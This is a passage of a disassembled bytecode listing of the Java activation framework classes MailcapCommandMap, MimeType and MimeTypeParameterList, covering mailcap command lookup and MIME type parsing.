0000012C iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000130 aget-object v0, v0, v1
00000134 invoke-virtual MailcapFile->getMailcapFallbackList(String)Map, v0, p1
0000013A move-result-object v0
0000013C if-eqz v0, :F4
:140
00000140 const-string v2, "content-handler"
00000144 invoke-interface Map->get(Object)Object, v0, v2
0000014A move-result-object v0
0000014C check-cast v0, List
00000150 if-eqz v0, :F4
:154
00000154 const/4 v2, 0x0
00000156 invoke-interface List->get(I)Object, v0, v2
0000015C move-result-object v0
0000015E check-cast v0, String
00000162 invoke-direct MailcapCommandMap->getDataContentHandler(String)DataContentHandler, p0, v0
:168
00000168 move-result-object v0
0000016A if-eqz v0, :F4
:16E
0000016E goto/16 :5C
:172
00000172 move-exception v0
00000174 monitor-exit p0
00000176 throw v0
.catchall {:4 .. :56} :172
.catchall {:60 .. :168} :172
.end method
.method public declared-synchronized getAllCommands(String)[CommandInfo
.registers 6
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 new-instance v2, ArrayList
00000008 invoke-direct ArrayList-><init>()V, v2
0000000E if-eqz p1, :1E
:12
00000012 sget-object v1, Locale->ENGLISH:Locale
00000016 invoke-virtual String->toLowerCase(Locale)String, p1, v1
0000001C move-result-object p1
:1E
0000001E move v1, v0
:20
00000020 iget-object v3, p0, MailcapCommandMap->DB:[MailcapFile
00000024 array-length v3, v3
00000026 if-lt v1, v3, :50
:2A
0000002A iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
0000002E array-length v1, v1
00000030 if-lt v0, v1, :84
:34
00000034 invoke-interface List->size()I, v2
0000003A move-result v0
0000003C new-array v0, v0, [CommandInfo
00000040 invoke-interface List->toArray([Object)[Object, v2, v0
00000046 move-result-object v0
00000048 check-cast v0, [CommandInfo
:4C
0000004C monitor-exit p0
0000004E return-object v0
:50
00000050 iget-object v3, p0, MailcapCommandMap->DB:[MailcapFile
00000054 aget-object v3, v3, v1
00000058 if-nez v3, :62
:5C
0000005C add-int/lit8 v1, v1, 0x1
00000060 goto :20
:62
00000062 iget-object v3, p0, MailcapCommandMap->DB:[MailcapFile
00000066 aget-object v3, v3, v1
0000006A invoke-virtual MailcapFile->getMailcapList(String)Map, v3, p1
00000070 move-result-object v3
00000072 if-eqz v3, :5C
:76
00000076 invoke-direct MailcapCommandMap->appendCmdsToList(Map, List)V, p0, v3, v2
:7C
0000007C goto :5C
:7E
0000007E move-exception v0
00000080 monitor-exit p0
00000082 throw v0
:84
00000084 iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
00000088 aget-object v1, v1, v0
0000008C if-nez v1, :96
:90
00000090 add-int/lit8 v0, v0, 0x1
00000094 goto :2A
:96
00000096 iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
0000009A aget-object v1, v1, v0
0000009E invoke-virtual MailcapFile->getMailcapFallbackList(String)Map, v1, p1
000000A4 move-result-object v1
000000A6 if-eqz v1, :90
:AA
000000AA invoke-direct MailcapCommandMap->appendCmdsToList(Map, List)V, p0, v1, v2
:B0
000000B0 goto :90
.catchall {:4 .. :4C} :7E
.catchall {:50 .. :7C} :7E
.catchall {:84 .. :B0} :7E
.end method
.method public declared-synchronized getCommand(String, String)CommandInfo
.registers 7
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
00000004 if-eqz p1, :14
:8
00000008 sget-object v0, Locale->ENGLISH:Locale
0000000C invoke-virtual String->toLowerCase(Locale)String, p1, v0
00000012 move-result-object p1
:14
00000014 move v2, v1
:16
00000016 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000001A array-length v0, v0
0000001C if-lt v2, v0, :30
:20
00000020 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000024 array-length v0, v0
:26
00000026 if-lt v1, v0, :88
:2A
0000002A const/4 v0, 0x0
:2C
0000002C monitor-exit p0
0000002E return-object v0
:30
00000030 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000034 aget-object v0, v0, v2
00000038 if-nez v0, :44
:3C
0000003C add-int/lit8 v0, v2, 0x1
00000040 move v2, v0
00000042 goto :16
:44
00000044 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000048 aget-object v0, v0, v2
0000004C invoke-virtual MailcapFile->getMailcapList(String)Map, v0, p1
00000052 move-result-object v0
00000054 if-eqz v0, :3C
:58
00000058 invoke-interface Map->get(Object)Object, v0, p2
0000005E move-result-object v0
00000060 check-cast v0, List
00000064 if-eqz v0, :3C
:68
00000068 const/4 v3, 0x0
0000006A invoke-interface List->get(I)Object, v0, v3
00000070 move-result-object v0
00000072 check-cast v0, String
00000076 if-eqz v0, :3C
:7A
0000007A new-instance v1, CommandInfo
0000007E invoke-direct CommandInfo-><init>(String, String)V, v1, p2, v0
00000084 move-object v0, v1
00000086 goto :2C
:88
00000088 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000008C aget-object v0, v0, v1
00000090 if-nez v0, :9C
:94
00000094 add-int/lit8 v0, v1, 0x1
00000098 move v1, v0
0000009A goto :20
:9C
0000009C iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
000000A0 aget-object v0, v0, v1
000000A4 invoke-virtual MailcapFile->getMailcapFallbackList(String)Map, v0, p1
000000AA move-result-object v0
000000AC if-eqz v0, :94
:B0
000000B0 invoke-interface Map->get(Object)Object, v0, p2
000000B6 move-result-object v0
000000B8 check-cast v0, List
000000BC if-eqz v0, :94
:C0
000000C0 const/4 v2, 0x0
000000C2 invoke-interface List->get(I)Object, v0, v2
000000C8 move-result-object v0
000000CA check-cast v0, String
000000CE if-eqz v0, :94
:D2
000000D2 new-instance v1, CommandInfo
000000D6 invoke-direct CommandInfo-><init>(String, String)V, v1, p2, v0
:DC
000000DC move-object v0, v1
000000DE goto :2C
:E0
000000E0 move-exception v0
000000E2 monitor-exit p0
000000E4 throw v0
.catchall {:8 .. :26} :E0
.catchall {:30 .. :DC} :E0
.end method
.method public declared-synchronized getMimeTypes()[String
.registers 7
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 new-instance v3, ArrayList
00000008 invoke-direct ArrayList-><init>()V, v3
0000000E move v2, v1
:10
00000010 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000014 array-length v0, v0
00000016 if-lt v2, v0, :36
:1A
0000001A invoke-interface List->size()I, v3
00000020 move-result v0
00000022 new-array v0, v0, [String
00000026 invoke-interface List->toArray([Object)[Object, v3, v0
0000002C move-result-object v0
0000002E check-cast v0, [String
:32
00000032 monitor-exit p0
00000034 return-object v0
:36
00000036 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000003A aget-object v0, v0, v2
0000003E if-nez v0, :4A
:42
00000042 add-int/lit8 v0, v2, 0x1
00000046 move v2, v0
00000048 goto :10
:4A
0000004A iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000004E aget-object v0, v0, v2
00000052 invoke-virtual MailcapFile->getMimeTypes()[String, v0
00000058 move-result-object v4
0000005A if-eqz v4, :42
:5E
0000005E move v0, v1
:60
00000060 array-length v5, v4
00000062 if-ge v0, v5, :42
:66
00000066 aget-object v5, v4, v0
0000006A invoke-interface List->contains(Object)Z, v3, v5
00000070 move-result v5
00000072 if-nez v5, :80
:76
00000076 aget-object v5, v4, v0
0000007A invoke-interface List->add(Object)Z, v3, v5
:80
00000080 add-int/lit8 v0, v0, 0x1
00000084 goto :60
:86
00000086 move-exception v0
00000088 monitor-exit p0
0000008A throw v0
.catchall {:4 .. :32} :86
.catchall {:36 .. :80} :86
.end method
.method public declared-synchronized getNativeCommands(String)[String
.registers 8
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 new-instance v3, ArrayList
00000008 invoke-direct ArrayList-><init>()V, v3
0000000E if-eqz p1, :1E
:12
00000012 sget-object v0, Locale->ENGLISH:Locale
00000016 invoke-virtual String->toLowerCase(Locale)String, p1, v0
0000001C move-result-object p1
:1E
0000001E move v2, v1
:20
00000020 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000024 array-length v0, v0
00000026 if-lt v2, v0, :46
:2A
0000002A invoke-interface List->size()I, v3
00000030 move-result v0
00000032 new-array v0, v0, [String
00000036 invoke-interface List->toArray([Object)[Object, v3, v0
0000003C move-result-object v0
0000003E check-cast v0, [String
:42
00000042 monitor-exit p0
00000044 return-object v0
:46
00000046 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000004A aget-object v0, v0, v2
0000004E if-nez v0, :5A
:52
00000052 add-int/lit8 v0, v2, 0x1
00000056 move v2, v0
00000058 goto :20
:5A
0000005A iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000005E aget-object v0, v0, v2
00000062 invoke-virtual MailcapFile->getNativeCommands(String)[String, v0, p1
00000068 move-result-object v4
0000006A if-eqz v4, :52
:6E
0000006E move v0, v1
:70
00000070 array-length v5, v4
00000072 if-ge v0, v5, :52
:76
00000076 aget-object v5, v4, v0
0000007A invoke-interface List->contains(Object)Z, v3, v5
00000080 move-result v5
00000082 if-nez v5, :90
:86
00000086 aget-object v5, v4, v0
0000008A invoke-interface List->add(Object)Z, v3, v5
:90
00000090 add-int/lit8 v0, v0, 0x1
00000094 goto :70
:96
00000096 move-exception v0
00000098 monitor-exit p0
0000009A throw v0
.catchall {:4 .. :42} :96
.catchall {:46 .. :90} :96
.end method
.method public declared-synchronized getPreferredCommands(String)[CommandInfo
.registers 6
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 new-instance v2, ArrayList
00000008 invoke-direct ArrayList-><init>()V, v2
0000000E if-eqz p1, :1E
:12
00000012 sget-object v1, Locale->ENGLISH:Locale
00000016 invoke-virtual String->toLowerCase(Locale)String, p1, v1
0000001C move-result-object p1
:1E
0000001E move v1, v0
:20
00000020 iget-object v3, p0, MailcapCommandMap->DB:[MailcapFile
00000024 array-length v3, v3
00000026 if-lt v1, v3, :50
:2A
0000002A iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
0000002E array-length v1, v1
00000030 if-lt v0, v1, :84
:34
00000034 invoke-interface List->size()I, v2
0000003A move-result v0
0000003C new-array v0, v0, [CommandInfo
00000040 invoke-interface List->toArray([Object)[Object, v2, v0
00000046 move-result-object v0
00000048 check-cast v0, [CommandInfo
:4C
0000004C monitor-exit p0
0000004E return-object v0
:50
00000050 iget-object v3, p0, MailcapCommandMap->DB:[MailcapFile
00000054 aget-object v3, v3, v1
00000058 if-nez v3, :62
:5C
0000005C add-int/lit8 v1, v1, 0x1
00000060 goto :20
:62
00000062 iget-object v3, p0, MailcapCommandMap->DB:[MailcapFile
00000066 aget-object v3, v3, v1
0000006A invoke-virtual MailcapFile->getMailcapList(String)Map, v3, p1
00000070 move-result-object v3
00000072 if-eqz v3, :5C
:76
00000076 invoke-direct MailcapCommandMap->appendPrefCmdsToList(Map, List)V, p0, v3, v2
:7C
0000007C goto :5C
:7E
0000007E move-exception v0
00000080 monitor-exit p0
00000082 throw v0
:84
00000084 iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
00000088 aget-object v1, v1, v0
0000008C if-nez v1, :96
:90
00000090 add-int/lit8 v0, v0, 0x1
00000094 goto :2A
:96
00000096 iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
0000009A aget-object v1, v1, v0
0000009E invoke-virtual MailcapFile->getMailcapFallbackList(String)Map, v1, p1
000000A4 move-result-object v1
000000A6 if-eqz v1, :90
:AA
000000AA invoke-direct MailcapCommandMap->appendPrefCmdsToList(Map, List)V, p0, v1, v2
:B0
000000B0 goto :90
.catchall {:4 .. :4C} :7E
.catchall {:50 .. :7C} :7E
.catchall {:84 .. :B0} :7E
.end method
#--------------------------------------------------------------------------------
.class public MimeType
.super Object
.source ""
.implements Externalizable
.field private static final TSPECIALS:String = "()<>@,;:/[]?=\\\""
.field private parameters:MimeTypeParameterList
.field private primaryType:String
.field private subType:String
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const-string v0, "application"
0000000A iput-object v0, p0, MimeType->primaryType:String
0000000E const-string v0, "*"
00000012 iput-object v0, p0, MimeType->subType:String
00000016 new-instance v0, MimeTypeParameterList
0000001A invoke-direct MimeTypeParameterList-><init>()V, v0
00000020 iput-object v0, p0, MimeType->parameters:MimeTypeParameterList
00000024 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-direct MimeType->parse(String)V, p0, p1
0000000C return-void
.end method
.method public constructor <init>(String, String)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-direct MimeType->isValidToken(String)Z, p0, p1
0000000C move-result v0
0000000E if-eqz v0, :4E
:12
00000012 sget-object v0, Locale->ENGLISH:Locale
00000016 invoke-virtual String->toLowerCase(Locale)String, p1, v0
0000001C move-result-object v0
0000001E iput-object v0, p0, MimeType->primaryType:String
00000022 invoke-direct MimeType->isValidToken(String)Z, p0, p2
00000028 move-result v0
0000002A if-eqz v0, :5E
:2E
0000002E sget-object v0, Locale->ENGLISH:Locale
00000032 invoke-virtual String->toLowerCase(Locale)String, p2, v0
00000038 move-result-object v0
0000003A iput-object v0, p0, MimeType->subType:String
0000003E new-instance v0, MimeTypeParameterList
00000042 invoke-direct MimeTypeParameterList-><init>()V, v0
00000048 iput-object v0, p0, MimeType->parameters:MimeTypeParameterList
0000004C return-void
:4E
0000004E new-instance v0, MimeTypeParseException
00000052 const-string v1, "Primary type is invalid."
00000056 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
0000005C throw v0
:5E
0000005E new-instance v0, MimeTypeParseException
00000062 const-string v1, "Sub type is invalid."
00000066 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
0000006C throw v0
.end method
.method private static isTokenChar(C)Z
.registers 2
00000000 const/16 v0, 0x20
00000004 if-le p0, v0, :24
:8
00000008 const/16 v0, 0x7F
0000000C if-ge p0, v0, :24
:10
00000010 const-string v0, "()<>@,;:/[]?=\\\""
00000014 invoke-virtual String->indexOf(I)I, v0, p0
0000001A move-result v0
0000001C if-gez v0, :24
:20
00000020 const/4 v0, 0x1
:22
00000022 return v0
:24
00000024 const/4 v0, 0x0
00000026 goto :22
.end method
.method private isValidToken(String)Z
.registers 6
00000000 const/4 v0, 0x0
00000002 invoke-virtual String->length()I, p1
00000008 move-result v2
0000000A if-lez v2, :16
:E
0000000E move v1, v0
:10
00000010 if-lt v1, v2, :18
:14
00000014 const/4 v0, 0x1
:16
00000016 return v0
:18
00000018 invoke-virtual String->charAt(I)C, p1, v1
0000001E move-result v3
00000020 invoke-static MimeType->isTokenChar(C)Z, v3
00000026 move-result v3
00000028 if-eqz v3, :16
:2C
0000002C add-int/lit8 v1, v1, 0x1
00000030 goto :10
.end method
.method private parse(String)V
.registers 6
00000000 const/4 v2, 0x0
00000002 const/16 v0, 0x2F
00000006 invoke-virtual String->indexOf(I)I, p1, v0
0000000C move-result v0
0000000E const/16 v1, 0x3B
00000012 invoke-virtual String->indexOf(I)I, p1, v1
00000018 move-result v1
0000001A if-gez v0, :32
:1E
0000001E if-gez v1, :32
:22
00000022 new-instance v0, MimeTypeParseException
00000026 const-string v1, "Unable to find a sub type."
0000002A invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
00000030 throw v0
:32
00000032 if-gez v0, :4A
:36
00000036 if-ltz v1, :4A
:3A
0000003A new-instance v0, MimeTypeParseException
0000003E const-string v1, "Unable to find a sub type."
00000042 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
00000048 throw v0
:4A
0000004A if-ltz v0, :C4
:4E
0000004E if-gez v1, :C4
:52
00000052 invoke-virtual String->substring(I, I)String, p1, v2, v0
00000058 move-result-object v1
0000005A invoke-virtual String->trim()String, v1
00000060 move-result-object v1
00000062 sget-object v2, Locale->ENGLISH:Locale
00000066 invoke-virtual String->toLowerCase(Locale)String, v1, v2
0000006C move-result-object v1
0000006E iput-object v1, p0, MimeType->primaryType:String
00000072 add-int/lit8 v0, v0, 0x1
00000076 invoke-virtual String->substring(I)String, p1, v0
0000007C move-result-object v0
0000007E invoke-virtual String->trim()String, v0
00000084 move-result-object v0
00000086 sget-object v1, Locale->ENGLISH:Locale
0000008A invoke-virtual String->toLowerCase(Locale)String, v0, v1
00000090 move-result-object v0
00000092 iput-object v0, p0, MimeType->subType:String
00000096 new-instance v0, MimeTypeParameterList
0000009A invoke-direct MimeTypeParameterList-><init>()V, v0
000000A0 iput-object v0, p0, MimeType->parameters:MimeTypeParameterList
:A4
000000A4 iget-object v0, p0, MimeType->primaryType:String
000000A8 invoke-direct MimeType->isValidToken(String)Z, p0, v0
000000AE move-result v0
000000B0 if-nez v0, :134
:B4
000000B4 new-instance v0, MimeTypeParseException
000000B8 const-string v1, "Primary type is invalid."
000000BC invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
000000C2 throw v0
:C4
000000C4 if-ge v0, v1, :124
:C8
000000C8 invoke-virtual String->substring(I, I)String, p1, v2, v0
000000CE move-result-object v2
000000D0 invoke-virtual String->trim()String, v2
000000D6 move-result-object v2
000000D8 sget-object v3, Locale->ENGLISH:Locale
000000DC invoke-virtual String->toLowerCase(Locale)String, v2, v3
000000E2 move-result-object v2
000000E4 iput-object v2, p0, MimeType->primaryType:String
000000E8 add-int/lit8 v0, v0, 0x1
000000EC invoke-virtual String->substring(I, I)String, p1, v0, v1
000000F2 move-result-object v0
000000F4 invoke-virtual String->trim()String, v0
000000FA move-result-object v0
000000FC sget-object v2, Locale->ENGLISH:Locale
00000100 invoke-virtual String->toLowerCase(Locale)String, v0, v2
00000106 move-result-object v0
00000108 iput-object v0, p0, MimeType->subType:String
0000010C new-instance v0, MimeTypeParameterList
00000110 invoke-virtual String->substring(I)String, p1, v1
00000116 move-result-object v1
00000118 invoke-direct MimeTypeParameterList-><init>(String)V, v0, v1
0000011E iput-object v0, p0, MimeType->parameters:MimeTypeParameterList
00000122 goto :A4
:124
00000124 new-instance v0, MimeTypeParseException
00000128 const-string v1, "Unable to find a sub type."
0000012C invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
00000132 throw v0
:134
00000134 iget-object v0, p0, MimeType->subType:String
00000138 invoke-direct MimeType->isValidToken(String)Z, p0, v0
0000013E move-result v0
00000140 if-nez v0, :154
:144
00000144 new-instance v0, MimeTypeParseException
00000148 const-string v1, "Sub type is invalid."
0000014C invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
00000152 throw v0
:154
00000154 return-void
.end method
.method public getBaseType()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 iget-object v1, p0, MimeType->primaryType:String
00000008 invoke-static String->valueOf(Object)String, v1
0000000E move-result-object v1
00000010 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000016 const-string v1, "/"
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000020 move-result-object v0
00000022 iget-object v1, p0, MimeType->subType:String
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual StringBuilder->toString()String, v0
00000034 move-result-object v0
00000036 return-object v0
.end method
.method public getParameter(String)String
.registers 3
00000000 iget-object v0, p0, MimeType->parameters:MimeTypeParameterList
00000004 invoke-virtual MimeTypeParameterList->get(String)String, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getParameters()MimeTypeParameterList
.registers 2
00000000 iget-object v0, p0, MimeType->parameters:MimeTypeParameterList
00000004 return-object v0
.end method
.method public getPrimaryType()String
.registers 2
00000000 iget-object v0, p0, MimeType->primaryType:String
00000004 return-object v0
.end method
.method public getSubType()String
.registers 2
00000000 iget-object v0, p0, MimeType->subType:String
00000004 return-object v0
.end method
.method public match(String)Z
.registers 3
00000000 new-instance v0, MimeType
00000004 invoke-direct MimeType-><init>(String)V, v0, p1
0000000A invoke-virtual MimeType->match(MimeType)Z, p0, v0
00000010 move-result v0
00000012 return v0
.end method
.method public match(MimeType)Z
.registers 4
00000000 iget-object v0, p0, MimeType->primaryType:String
00000004 invoke-virtual MimeType->getPrimaryType()String, p1
0000000A move-result-object v1
0000000C invoke-virtual String->equals(Object)Z, v0, v1
00000012 move-result v0
00000014 if-eqz v0, :60
:18
00000018 iget-object v0, p0, MimeType->subType:String
0000001C const-string v1, "*"
00000020 invoke-virtual String->equals(Object)Z, v0, v1
00000026 move-result v0
00000028 if-nez v0, :5C
:2C
0000002C invoke-virtual MimeType->getSubType()String, p1
00000032 move-result-object v0
00000034 const-string v1, "*"
00000038 invoke-virtual String->equals(Object)Z, v0, v1
0000003E move-result v0
00000040 if-nez v0, :5C
:44
00000044 iget-object v0, p0, MimeType->subType:String
00000048 invoke-virtual MimeType->getSubType()String, p1
0000004E move-result-object v1
00000050 invoke-virtual String->equals(Object)Z, v0, v1
00000056 move-result v0
00000058 if-eqz v0, :60
:5C
0000005C const/4 v0, 0x1
:5E
0000005E return v0
:60
00000060 const/4 v0, 0x0
00000062 goto :5E
.end method
.method public readExternal(ObjectInput)V
.registers 4
00000000 invoke-interface ObjectInput->readUTF()String, p1
00000006 move-result-object v0
00000008 invoke-direct MimeType->parse(String)V, p0, v0
:E
0000000E return-void
:10
00000010 move-exception v0
00000012 new-instance v1, IOException
00000016 invoke-virtual MimeTypeParseException->toString()String, v0
0000001C move-result-object v0
0000001E invoke-direct IOException-><init>(String)V, v1, v0
00000024 throw v1
.catch MimeTypeParseException {:0 .. :E} :10
.end method
.method public removeParameter(String)V
.registers 3
00000000 iget-object v0, p0, MimeType->parameters:MimeTypeParameterList
00000004 invoke-virtual MimeTypeParameterList->remove(String)V, v0, p1
0000000A return-void
.end method
.method public setParameter(String, String)V
.registers 4
00000000 iget-object v0, p0, MimeType->parameters:MimeTypeParameterList
00000004 invoke-virtual MimeTypeParameterList->set(String, String)V, v0, p1, p2
0000000A return-void
.end method
.method public setPrimaryType(String)V
.registers 4
00000000 iget-object v0, p0, MimeType->primaryType:String
00000004 invoke-direct MimeType->isValidToken(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, MimeTypeParseException
00000014 const-string v1, "Primary type is invalid."
00000018 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 sget-object v0, Locale->ENGLISH:Locale
00000024 invoke-virtual String->toLowerCase(Locale)String, p1, v0
0000002A move-result-object v0
0000002C iput-object v0, p0, MimeType->primaryType:String
00000030 return-void
.end method
.method public setSubType(String)V
.registers 4
00000000 iget-object v0, p0, MimeType->subType:String
00000004 invoke-direct MimeType->isValidToken(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, MimeTypeParseException
00000014 const-string v1, "Sub type is invalid."
00000018 invoke-direct MimeTypeParseException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 sget-object v0, Locale->ENGLISH:Locale
00000024 invoke-virtual String->toLowerCase(Locale)String, p1, v0
0000002A move-result-object v0
0000002C iput-object v0, p0, MimeType->subType:String
00000030 return-void
.end method
.method public toString()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 invoke-virtual MimeType->getBaseType()String, p0
0000000A move-result-object v1
0000000C invoke-static String->valueOf(Object)String, v1
00000012 move-result-object v1
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A iget-object v1, p0, MimeType->parameters:MimeTypeParameterList
0000001E invoke-virtual MimeTypeParameterList->toString()String, v1
00000024 move-result-object v1
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual StringBuilder->toString()String, v0
00000034 move-result-object v0
00000036 return-object v0
.end method
.method public writeExternal(ObjectOutput)V
.registers 3
00000000 invoke-virtual MimeType->toString()String, p0
00000006 move-result-object v0
00000008 invoke-interface ObjectOutput->writeUTF(String)V, p1, v0
0000000E invoke-interface ObjectOutput->flush()V, p1
00000014 return-void
.end method
#--------------------------------------------------------------------------------
.class public MimeTypeParameterList
.super Object
.source ""
.field private static final TSPECIALS:String = "()<>@,;:/[]?=\\\""
.field private parameters:Hashtable
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Hashtable
0000000A invoke-direct Hashtable-><init>()V, v0
00000010 iput-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000014 return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Hashtable
0000000A invoke-direct Hashtable-><init>()V, v0
00000010 iput-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000014 invoke-virtual MimeTypeParameterList->parse(String)V, p0, p1
0000001A return-void
.end method
.method private static isTokenChar(C)Z
.registers 2
00000000 const/16 v0, 0x20
00000004 if-le p0, v0, :24
:8
00000008 const/16 v0, 0x7F
0000000C if-ge p0, v0, :24
:10
00000010 const-string v0, "()<>@,;:/[]?=\\\""
00000014 invoke-virtual String->indexOf(I)I, v0, p0
0000001A move-result v0
0000001C if-gez v0, :24
:20
00000020 const/4 v0, 0x1
:22
00000022 return v0
:24
00000024 const/4 v0, 0x0
00000026 goto :22
.end method
.method private static quote(String)String
.registers 11
00000000 const/16 v9, 0x5C
00000004 const/16 v8, 0x22
00000008 const/4 v1, 0x0
0000000A invoke-virtual String->length()I, p0
00000010 move-result v3
00000012 move v2, v1
00000014 move v0, v1
:16
00000016 if-ge v2, v3, :1E
:1A
0000001A if-eqz v0, :56
:1E
0000001E if-eqz v0, :54
:22
00000022 new-instance v0, StringBuffer
00000026 invoke-direct StringBuffer-><init>()V, v0
0000002C int-to-double v4, v3
0000002E const-wide/high16 v6, 0x3FF8000000000000
00000032 mul-double/2addr v4, v6
00000034 double-to-int v2, v4
00000036 invoke-virtual StringBuffer->ensureCapacity(I)V, v0, v2
0000003C invoke-virtual StringBuffer->append(C)StringBuffer, v0, v8
:42
00000042 if-lt v1, v3, :76
:46
00000046 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v8
0000004C invoke-virtual StringBuffer->toString()String, v0
00000052 move-result-object p0
:54
00000054 return-object p0
:56
00000056 invoke-virtual String->charAt(I)C, p0, v2
0000005C move-result v0
0000005E invoke-static MimeTypeParameterList->isTokenChar(C)Z, v0
00000064 move-result v0
00000066 if-eqz v0, :72
:6A
0000006A move v0, v1
:6C
0000006C add-int/lit8 v2, v2, 0x1
00000070 goto :16
:72
00000072 const/4 v0, 0x1
00000074 goto :6C
:76
00000076 invoke-virtual String->charAt(I)C, p0, v1
0000007C move-result v2
0000007E if-eq v2, v9, :86
:82
00000082 if-ne v2, v8, :8C
:86
00000086 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v9
:8C
0000008C invoke-virtual StringBuffer->append(C)StringBuffer, v0, v2
00000092 add-int/lit8 v1, v1, 0x1
00000096 goto :42
.end method
.method private static skipWhiteSpace(String, I)I
.registers 4
00000000 invoke-virtual String->length()I, p0
00000006 move-result v0
:8
00000008 if-ge p1, v0, :20
:C
0000000C invoke-virtual String->charAt(I)C, p0, p1
00000012 move-result v1
00000014 invoke-static Character->isWhitespace(C)Z, v1
0000001A move-result v1
0000001C if-nez v1, :22
:20
00000020 return p1
:22
00000022 add-int/lit8 p1, p1, 0x1
00000026 goto :8
.end method
.method private static unquote(String)String
.registers 8
00000000 const/4 v1, 0x0
00000002 invoke-virtual String->length()I, p0
00000008 move-result v3
0000000A new-instance v4, StringBuffer
0000000E invoke-direct StringBuffer-><init>()V, v4
00000014 invoke-virtual StringBuffer->ensureCapacity(I)V, v4, v3
0000001A move v2, v1
0000001C move v0, v1
:1E
0000001E if-lt v2, v3, :2C
:22
00000022 invoke-virtual StringBuffer->toString()String, v4
00000028 move-result-object v0
0000002A return-object v0
:2C
0000002C invoke-virtual String->charAt(I)C, p0, v2
00000032 move-result v5
00000034 if-nez v0, :4C
:38
00000038 const/16 v6, 0x5C
0000003C if-eq v5, v6, :4C
:40
00000040 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v5
:46
00000046 add-int/lit8 v2, v2, 0x1
0000004A goto :1E
:4C
0000004C if-eqz v0, :5A
:50
00000050 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v5
00000056 move v0, v1
00000058 goto :46
:5A
0000005A const/4 v0, 0x1
0000005C goto :46
.end method
.method public get(String)String
.registers 5
00000000 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004 invoke-virtual String->trim()String, p1
0000000A move-result-object v1
0000000C sget-object v2, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toLowerCase(Locale)String, v1, v2
00000016 move-result-object v1
00000018 invoke-virtual Hashtable->get(Object)Object, v0, v1
0000001E move-result-object v0
00000020 check-cast v0, String
00000024 return-object v0
.end method
.method public getNames()Enumeration
.registers 2
00000000 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004 invoke-virtual Hashtable->keys()Enumeration, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public isEmpty()Z
.registers 2
00000000 iget-object v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004 invoke-virtual Hashtable->isEmpty()Z, v0
0000000A move-result v0
0000000C return v0
.end method
.method protected parse(String)V
.registers 10
00000000 const/16 v6, 0x22
00000004 if-nez p1, :A
:8
00000008 return-void
:A
0000000A invoke-virtual String->length()I, p1
00000010 move-result v3
00000012 if-lez v3, :8
:16
00000016 const/4 v0, 0x0
00000018 invoke-static MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
0000001E move-result v0
:20
00000020 if-ge v0, v3, :34
:24
00000024 invoke-virtual String->charAt(I)C, p1, v0
0000002A move-result v1
0000002C const/16 v2, 0x3B
00000030 if-eq v1, v2, :48
:34
00000034 if-ge v0, v3, :8
:38
